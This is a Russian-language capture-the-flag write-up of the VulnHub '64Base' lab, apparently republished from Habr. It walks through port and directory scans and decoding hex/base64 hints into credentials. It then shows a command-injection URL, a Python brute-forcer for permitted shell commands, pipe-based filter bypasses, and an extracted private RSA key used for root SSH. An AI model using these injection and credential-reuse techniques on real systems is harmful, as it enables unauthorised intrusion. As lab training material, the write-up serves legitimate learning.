- PVSM.RU - https://www.pvsm.ru -
Совсем недавно на VulnHub [1] опубликовали новый образ виртуалки под названием 64Base Boot2Root [2]. Задания, как и статья рассчитаны на новичков. Так что не удивляйтесь, если какие-то из решений покажутся слишком простыми.
В описании видим количество флагов, и их формат:
There are 6 flags to collect. Each in the format of flag1{ZXhhbXBsZSBmbGFnCg==} Beat the Empire and steal the plans for the Death Star before its too late.
Скачиваем образ, импортируем настройки, открываем свойства виртуальной машины, в разделе Сеть, выставляем сетевой мост на наш адаптер, сохраняем, запускаем. И далее ищем nmap'ом нашу виртуалку:
sudo nmap -A 192.168.1.1-255 -p1-65535
Получаем следующий вывод:
Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-12 22:13 MSK
Nmap scan report for 192.168.1.2
Host is up (0.0040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http Apache httpd 2.4.10 ((Debian))
4899/tcp open radmin
62964/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
MAC Address: 08:00:27:68:E7:F8 (Oracle VirtualBox virtual NIC)
2 из 4 портов успешно детектировались — это 80 и 62964, и 2 порта, которые не определились nmap'ом. Но о них позже.
Переходим по адресу 192.168.1.2 [3]:80, попадаем на главную страницу.
На которой в глаза бросается надпись: dmlldyBzb3VyY2UgO0QK
Декодируем это из Base64 и получаем подсказку: view source ;D
Ок, заглянем в код страницы, и рядом с этой надписью видим коммент:
<div class="site-heading">
<h1>64base</h1>
<hr class="small">
<span class="subheading">dmlldyBzb3VyY2UgO0QK</span>
<!--5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a-->
</div>
После преобразования HEX → ASCII → Base64 → ASCII
Получаем первый флаг:
flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}
Попробовав преобразовать флаг из base64 в ASCII, можно получить учетные данные
64base:Th353@r3N0TdaDr01DzU@reL00K1ing4
И так, у нас есть имя пользователя и предполагаемый пароль. Ищем доступные файлы и директории:
sudo dirsearch -r -u http://192.168.1.2 -e php,txt,bak -w /usr/share/dirb/wordlists/big.txt -f -x 301,403
Нашлась страница с Basic авторизацией /admin. Учетные данные, найденные в прошлом флаге не подошли. На ssh с ними тоже не удалось подключиться. Видимо что-то было упущено. После недолгих поисков было принято решение распарсить слова со страниц сайта в отдельный словарь. Скрипт на Python в этом помог:
#!/usr/bin/python3
import re
import requests
import sys
def repl(txt):
txt = txt.replace('<!', ' ').replace('>', ' ').replace('</', ' ').replace('n', ' ').replace('<', ' ').replace('"', ' ').replace('=', ' ').replace(':', ' ').replace('--', ' ').replace('/', ' ').replace("'", " ").replace('©', ' ').replace(',', ' ').replace('#', ' ').replace('→a', ' ').replace('?', ' ').replace('.', ' ').replace(';', ' ').replace('(', ' ').replace(')', ' ').replace('{', ' ').replace('}', ' ')
return txt.strip()
words = []
url = sys.argv[1]
req = requests.get(url).text.splitlines()
for item in req:
item = repl(item)
tmp = [x.strip() for x in item.split(' ') if x.strip() != '']
for word in tmp:
if word not in words: words.append(word)
w = open(sys.argv[2], 'w')
for x in words:
w.write('%sn' %(x))
w.close()
Выполним его для каждой найденной нами страницы:
./parser.py http://192.168.1.2/index.html index
./parser.py http://192.168.1.2/about.html about
./parser.py http://192.168.1.2/post.html post
./parser.py http://192.168.1.2/contact.html contact
cat index about post contact | sort -u > words.lst
Запустим снова поиск директорий:
sudo dirsearch -u http://192.168.1.2/ -r -f -w words.lst -e php,txt,json,bak -x 301
Нашлась ещё одна интересная директория. Если взглянуть на файл robots.txt, то можно обнаружить запись:
Disallow: /Imperial-class/
Видимо это одна из шуток автора, о которых говорилось в описании. При переходе запрашивается авторизация, вводим логин и пароль полученные ранее, и мы вошли!
Однако радоваться рано, нас встретило сообщение:
[] ERROR: incorrect path!.. TO THE DARK SIDE!
Поискав на на сайте Imperial-Сlass, находим фразу:
Only respond if you are a real Imperial-Class BountyHunter
Хм, попробовав перейти по адресу 192.168.1.2/Imperial-Class/BountyHunter [4] попадаем на очередную страницу авторизации:
Взглянув на исходный код, видим следующее:
<body bgcolor=#000000><font color=#cfbf00>
<form name="login-form" id="login-form" method="post" action="./login.php">
<fieldset>
<legend>Please login:</legend>
<dl>
<dt>
<label title="Username">Username:
<input tabindex="1" accesskey="u" name="function" type="text" maxlength="50" id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" />
</label>
</dt>
</dl>
<dl>
<dt>
<label title="Password">Password:
<input tabindex="2" accesskey="p" name="command" type="password" maxlength="15" id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32" />
</label>
</dt>
</dl>
<dl>
<dt>
<label title="Submit">
<input tabindex="3" accesskey="l" type="submit" name="cmdlogin" value="Login" />
<!-- basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a -->
</label>
</dt>
</dl>
</fieldset>
</form>
Объединяем, преобразовываем HEX -> TEXT -> Base64 -> TEXT, получаем второй флаг:
flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=}
на этот раз в флаг вместо подсказки закодирована ссылка на YouTube [5]
Продолжим, у нас есть форма авторизации: 192.168.1.2/Imperial-Class/BountyHunter/index.php [6], попробовав несколько вариантов, можно заметить, что при любой отправке POST запроса к login.php, нас без каких либо ошибок редиректит на index.php.
Попробуем подробнее взглянуть на процесс редиректа, воспользовавшись curl:
curl http://192.168.1.2/Imperial-Class/BountyHunter/login.php -H 'Authorization: Basic NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0'
В ответ на удивление мы получили следующий флаг:
flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2
luLnBocD9mPWV4ZWMmYz1pZAo=}
И новую подсказку, закодированную в нём:
53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id
Воспользуемся Подсказкой из предыдущего флага и перейдём по адресу 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=id [7]
Хм, сразу вспоминаем картинку, со страницы post.html
Заменим EXEC на SYSTEM: 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=system&c=id [8] И получаем новый флаг, подсказку, а так же shell на виртуальной машине.
flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==}
В подсказке, находим новые учетные данные: 64base:64base5h377
Немного изучив возможности найденного шела, становится понятно, что список команд доступных к выполнению, сильно ограничен, в добавок имеется фильтр для слеша. Осталось определить какие из них нам доступны.
Создадим словарь для перебора доступных нам команд:
for item in $(ls /usr/sbin/ && ls /usr/bin/ && ls /sbin/ && ls /bin/); do echo $item >> /tmp/unix_command2.lst; done
sort -u /tmp/unix_command2.lst > unix_command.lst
Далее скармливаем этот словарь в скрипт на Python:
#!/usr/bin/python
import requests
import sys, re
url = 'http://192.168.1.2/Imperial-Class/BountyHunter/login.php'
param = {'f':'system', 'c':''}
basic = ('64base', 'Th353@r3N0TdaDr01DzU@reL00K1ing4')
if len(sys.argv) == 1:
print('Usage: brute_sh.py [wordlist]')
sys.exit(0)
words = open(sys.argv[1], 'r').read().splitlines()
for item in words:
param['c'] = '%s --help' %(item)
req = requests.get(url, params=param, auth=basic)
if len(req.text.splitlines()) > 9:
print('Found cmd: %s' %(item))
И получаем такой вывод:
Found cmd: base64
Found cmd: cat
Found cmd: id
Found cmd: locate
Found cmd: ls
Found cmd: nc
Found cmd: ps
Found cmd: w
Found cmd: wget
Found cmd: who
Found cmd: whoami
Не много, однако так как у нас не фильтруется символ | то подставив его в начало команды, получаем возможность выполнить любую. Поиграв с передаваемыми параметрами
получаем такой запрос:
|locate admin|grep html|xargs find
P.S. Здесь и далее я буду приводить непосредственно команды, которые нужно передать в аргумент c.
Вывод будет выглядеть так:
/var/www/html/admin
/var/www/html/admin/index.php
/var/www/html/admin/S3cR37
/var/www/html/admin/S3cR37/flag5{TG9vayBJbnNpZGUhIDpECg==}
/var/www/html/admin/.htaccess
/var/www/html/admin/.htaccess
/var/www/html/admin/index.php
Флаг найден, а вместе с ним и новая подсказка: Look Inside! :D
Нас просят заглянуть внутрь этого файла. Ок сделаем это:
#Копируем файл в доступную нам директорию
|locate admin|grep html|xargs find|grep TG|xargs cp -t .
#Изменяем права доступа
|ls|grep TG|xargs chmod 777
Открываем в браузере, файл оказался картинкой:
Запустим exiftool и посмотрим метаданные этой картинки
Скопируем содержимое поля Comment и выполним те же преобразования, что и с предыдущими флагами. На выходи вместо флага нам дали приватный RSA ключ:
mDtRxIwh40RSNAs2+lNRHvS9yhM+eaxxU5yrGPCkrbQW/RgPP+RGJBz9VrTkvYw6
YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz
8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel+6HGObF8Zh3MIchy8s1XrE0
kvLKI252mzWw4kbSs9+QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse
MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4+zhu6jOWYH
k2hdCHNSt+iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob
wXRf5BcGKU97xdorV2Tq+h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx+98K8KpWL
guJPRPKGijo96HDGc3L5YsxObVg+/fj0AvsKfrcV/lxaW+Imymc1MXiJMbmCzlDw
TAWmaqkRFDyA1HUvtvSeVqS1/HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd
2d3G+Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv
AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG
4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW+GkN9L+9CPy8+DNunFIwx
+T++7Qg/uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs
fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi
+j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19+Me8JEhQ8KNXDwQKDyULFOTsz
13VfBNxYsyL5zGXNzyqZ4I/OO7Med2j0Gz0g21iHA/06mrs2clds6SUBGEvn8NiV
rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy/e10F745xDMATKRlKZ6rYHMCxJ3Icnt
Ez0OMXYdC6CiF/IWtgdU+hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE
Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X/ReF/AaMxkbSdEOFsI
Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG
Yiaa5o7877/fw6YZ/2U3ADdiSOBm+hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj
qJanSk8175z0bjrXWdLG3DSlIJislPW+yDaf7YBVYwWR+TA1kC6ieIA5tU3pn/I3
64Z5mpC+wqfTxGgeCsgIk9vSn2p/eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v+P
fnHLQvEwIs+Bf1CpK1AkZeUMREQkBhDi72HFbw2G/zqti/YdnqxAyl6LZzIeQn8t
/Gj4karJ1iM9If39dM5OaCVZR/TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
-----END RSA PRIVATE KEY-----
Воспользуемся им для подключения по ssh
ssh root@192.168.1.2 -p 62964 -i key.rsa
Пароль как легко догадаться написан на картинке, после успешного подключения мы получаем последний флаг:
flag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1N
GU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU
0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5
MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0
ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNj
M3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}
В котором закодирована команда: base64 -d /var/local/.luke|less.real
И root доступ к виртуальной машине. Задание пройдено!
P.S. Существует ещё как минимум 1 способ пройти эту лабу.
Загружаемся и получаем root. Осмотревшись в системе, переходим в директорию сайта.
Выполнив команду:
cd /var/www/html
ls -l | wc -l
Получим количество элементов в данной директории, их оказалось 443. Нам пока понадобится каталог admin. Просмотрев его содержимое в папке S3cR37 находим второй флаг
Здесь же можем найти хеш пароля к этой директории и имя пользователя:
64base:$apr1$SNPbKyA8$0.2pIMdx4JVVA6jsX/Ru30
Смотрим содержимое файла index.html, и получаем первый флаг. Выполняем команду:
grep -r flag3 /var/www/
И находим третий флаг
Аналогично находим пятый и шестой флаги:
root@64base:~# find /var/www/html/ -name flag*
/var/www/html/admin/S3cR37/flag5{TG9vayBJbnNpZGUhIDpECg==}
root@64base:~# grep -r flag6 /
/root/.profile:echo «flag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}»
Ну и из файла /var/www/html/Imperial-Class/BountyHunter/login.php извлекаем и декодируем четвёрный флаг:
$_u = base64_decode('ZWNobyAnPGg0PmZsYWc0e05qUmlZWE5sT2pZMFltRnpaVFZvTXpjM0NnPT19PC9oND4nO2NhdC5yZWFsIC9ldGMvaXNzdWU7ZGF0ZTt1bmFtZSAtYTsvc2Jpbi9pZmNvbmZpZyBldGgwfC91c3Ivc2hhcmUvZ3JlcC5yZWFsIGluZXQ7ZWNobwo=').' '.$_s;
Автор: GH0st3rs
Источник [9]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vulnerability/221861
Ссылки в тексте:
[1] VulnHub: https://www.vulnhub.com/
[2] 64Base Boot2Root: https://www.vulnhub.com/entry/64base-101,173/
[3] 192.168.1.2: http://192.168.1.2
[4] 192.168.1.2/Imperial-Class/BountyHunter: http://192.168.1.2/Imperial-Class/BountyHunter/
[5] YouTube: https://www.youtube.com/watch?v=vJwytFWA8uA
[6] 192.168.1.2/Imperial-Class/BountyHunter/index.php: http://192.168.1.2/Imperial-Class/BountyHunter/index.php
[7] 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=id: http://192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=id
[8] 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=system&c=id: http://192.168.1.2/Imperial-Class/BountyHunter/login.php?f=system&c=id
[9] Источник: https://habrahabr.ru/post/317346/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.